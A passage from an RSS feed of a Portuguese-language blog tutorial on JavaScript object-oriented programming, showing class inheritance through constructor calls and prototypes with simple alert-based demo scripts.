Isto porque o JavaScript não é uma Linguagem Orientada a Objectos completamente desenvolvida mas sim uma linguagem estruturada, e não estão implementados alguns conceitos classes e instâncias mas existem objectos, protótipo e herança implicita bem como variáveis públicas e privadas.</p>
<p>O JavaScript suporta variáveis / funções privadas declaradas usando a palavra reservada <em>var</em>. Propriedades publicas e métodos &#8220;priveligiados&#8221; são declarados utilizando a expressão <em>this</em><br />
Métodos &#8220;priveligiados&#8221; podem aceder variáveis / funções privadas que não estão acessíveis fora da classe.<br />
<span id="more-31"></span></p>
<h2>Herança Através de Funções</h2>
<p>Como o JavaScript não suporta tem um operador de herança explicitado esta pode ser implementada de duas maneiras. A primeira maneira para criar um objecto como uma subclass de outro objecto é chamar o constructor de uma &#8220;Super Classe&#8221; dentro da sub classe. Vejamos o seguinte.</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">function</span> superClasse<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">adeus</span> <span style="color: #339933;">=</span> superAdeus<span style="color: #339933;">;</span>
  <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">ola</span> <span style="color: #339933;">=</span> superOla<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">function</span> subClasse<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">inheritFrom</span> <span style="color: #339933;">=</span> superClasse<span style="color: #339933;">;</span>
  <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">inheritFrom</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">adeus</span> <span style="color: #339933;">=</span> subAdeus<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">function</span> superOla<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #000066; font-weight: bold;">return</span> <span style="color: #3366CC;">&quot;Super Classe diz-lhe: Olá&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">function</span> superAdeus<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #000066; font-weight: bold;">return</span> <span style="color: #3366CC;">&quot;Super Classe diz-lhe: Adeus&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">function</span> subAdeus<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #000066; font-weight: bold;">return</span> <span style="color: #3366CC;">&quot;Sub Classe diz-lhe: Até já (TMN pubber)&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p><script type="text/javascript"><!--
function superClasse() {
  this.adeus = superAdeus;
  this.ola = superOla;
}
function subClasse() {
  this.inheritFrom = superClasse;
  this.inheritFrom();
  this.adeus = subAdeus;
}
function superOla() {
  return "Super Classe diz-lhe: Olá";
}
function superAdeus() {
  return "Super Classe diz-lhe: Adeus";
}
function subAdeus() {
  return "Sub Classe diz-lhe: Até já (TMN pubber)";
}
function mostraSubClasse() {
  var novaClass = new subClasse();
  alert(novaClass.adeus());
  alert(novaClass.ola());
}
// --></script></p>
<p><a href="javascript:mostraSubClasse();">Clique aqui</a> para invocar o seguinte trecho de código que é um PoC (Proof of Concept) do que vimos anteriormente.</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">function</span> mostraSubClasse<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #003366; font-weight: bold;">var</span> novaClass <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> subClasse<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span>novaClass.<span style="color: #660066;">adeus</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span>novaClass.<span style="color: #660066;">ola</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Explicando tudo o que se passou até agora.</p>
<p>Temos na função superClasse declarada uma classe (termo não técnico, não confundir com as classes do C++, Java, PHP, etc.) em que através da palavra reservada this definimos dois métodos: o adeus e o ola e lhes atribuimos uma acção a cada um através de uma função, a superAdeus e a superOla, respectivamente. De seguida, definiu-se a classe subClasse que vai herdar os métodos da superClasse através do método inheritFrom [(this.inheritFrom = superClasse -&gt; define) (this.inheritFrom() -&gt; herda)] e define-se o método adeus.<br />
Como se pode reparar no PoC o nosso código apenas retorna um ola e um adeus. Isto dá-se porque ao definirmos o método adeus na subClasse, estamos a anular o método adeus definido primeiramente na superClasse. Para não restarem dúvidas:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">function</span> sprClasse<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">teste</span> <span style="color: #339933;">=</span> <span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;A definir o método teste na Super Classe&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">function</span> sbClasse<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">inheritFrom</span> <span style="color: #339933;">=</span> sprClasse<span style="color: #339933;">;</span>
  <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">inheritFrom</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">teste</span> <span style="color: #339933;">=</span> <span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;A reescrever o método teste na Sub Classe&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p><script type="text/javascript"><!--
function sprClasse() {
  this.teste = alert("A definir o método teste na Super Classe");
}
function sbClasse() {
  this.inheritFrom = sprClasse;
  this.inheritFrom();
  this.teste = alert("A reescrever o método teste na Sub Classe");
}
function ExReescrita() {
  var nClasse = new sbClasse();
}
// --></script></p>
<p>Testar a re-escrita dos métodos <a href="javascript:ExReescrita();">aqui</a>.</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">function</span> ExReescrita<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #003366; font-weight: bold;">var</span> nClasse <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> sbClasse<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Como foi possível reparar com os JavaScript Alert existe a escrita primeiramente do método teste na super classe e posteriormente esta é reescrita na sub classe ficando assim acessível o método da sub classe.</p>
<p>Existe um outro método, mais sólido, para estabelecer a hierarquia de classes. Este método, funciona criando um objecto da super classe e de seguida usá-lo como um protótipo do objecto da sub classe. Supondo que a ssoa super classe se chama superClasse (original não?) o protótipo será da sub classe será algo como isto:</p>
<p>subClasse.prototype = new superClasse;</p>
<p>Usando o mesmo exemplo que utilizamos acima substituindo apenas a forma que usamos para a herança temos o seguinte código que se irá comportar da mesma forma que o exemplo anterior.</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">function</span> superClasse<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">adeus</span> <span style="color: #339933;">=</span> superAdeus<span style="color: #339933;">;</span>
  <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">ola</span> <span style="color: #339933;">=</span> superOla<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">function</span> subClasse<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">adeus</span> <span style="color: #339933;">=</span> subAdeus<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
subClasse.<span style="color: #660066;">prototype</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> superClasse<span style="color: #339933;">;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">function</span> superOla<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #000066; font-weight: bold;">return</span> <span style="color: #3366CC;">&quot;Super Classe diz-lhe: Olá&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">function</span> superAdeus<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #000066; font-weight: bold;">return</span> <span style="color: #3366CC;">&quot;Super Classe diz-lhe: Adeus&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">function</span> subAdeus<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #000066; font-weight: bold;">return</span> <span style="color: #3366CC;">&quot;Sub Classe diz-lhe: Até já (TMN pubber)&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">function</span> teste<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #003366; font-weight: bold;">var</span> novaClass <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> subClasse<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span>novaClass.<span style="color: #660066;">adeus</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span>novaClass.<span style="color: #660066;">ola</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p><script type="text/javascript"><!--
function superClasse() {
  this.adeus = superAdeus;
  this.ola = superOla;
}
function subClasse() {
  this.adeus = subAdeus;
}
subClasse.prototype = new superClasse;
function superOla() {
  return "Super Classe diz-lhe: Olá";
}
function superAdeus() {
  return "Super Classe diz-lhe: Adeus";
}
function subAdeus() {
  return "Sub Classe diz-lhe: Até já (TMN pubber)";
}
function teste() {
  var novaClass = new subClasse();
  alert(novaClass.adeus());
  alert(novaClass.ola());
}
// --></script></p>
<p>Vejamos então como se comportam estas classes <a href="javascript: teste();">aqui</a>.</p>
<p>&#8212;</p>
<p>Hoje vimos como funciona a herança de classes em JavaScript, mas a POO em JavaScript não fica por aqui, escreverei uma série de posts relativos a este tema abordando, encapsulamento, uma simulação do instance of, propriedades estáticas, etc. mostrarei também exemplos mais concretos, exemplos práticos de cada caso para não termos apenas a teoria com adeus, olá, entre outros.</p>
<p>Para estarem actualizados de novos postos podem subscrever ao RSS Feed. E para não variar, comentários agradecem-se. Até à próxima.</p>
<div class="shr-publisher-31"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2009%2F01%2F13%2Fjavascript-oop-1%2F' data-shr_title='JavaScript+OOP+%231'></a><a class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2009%2F01%2F13%2Fjavascript-oop-1%2F'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2009%2F01%2F13%2Fjavascript-oop-1%2F' data-shr_title='JavaScript+OOP+%231'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://joaopedropereira.com/blog/2009/01/13/javascript-oop-1/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

